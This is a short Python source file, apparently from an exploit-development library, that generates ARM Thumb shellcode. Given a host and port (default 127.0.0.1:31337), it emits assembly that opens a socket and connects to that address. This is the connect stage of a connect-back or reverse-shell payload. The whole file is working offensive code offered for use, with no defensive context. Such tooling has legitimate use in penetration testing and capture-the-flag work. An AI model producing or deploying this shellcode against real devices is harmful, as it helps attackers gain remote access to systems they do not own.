Source code for shellcodes.thumb.connect

from socket import htons, inet_aton, gethostbyname
from struct import unpack

[docs]def binary_ip(host): return inet_aton(gethostbyname(host))
[docs]def u32(u): return unpack("<I", u)[0]
[docs]def generate(host='127.0.0.1', port=31337): """Connects to remote machine on specific port Args: host(str): hostname or IP address port(int/str): specific port """ sc = """ mov r0, #2 mov r1, #1 sub r2, r2, r2 sub r7, r7, r7 add r7, r7, #255 add r7, r7, #26 svc 1 #adr r1, sockaddr_1 mov r1, pc add r1, #12 mov r2, #16 mov r3, #2 mov r6, r0 strh r3, [r1] b after_sockaddr_2 sub r1, r1, r1 sockaddr_1: .short 0x4141 .short %s .word %s after_sockaddr_2: sub r7, r7, r7 add r7, r7, #255 add r7, r7, #28 svc 1 """ % (htons(int(port)), u32(binary_ip(host))) return sc
if __name__ == '__main__': print generate()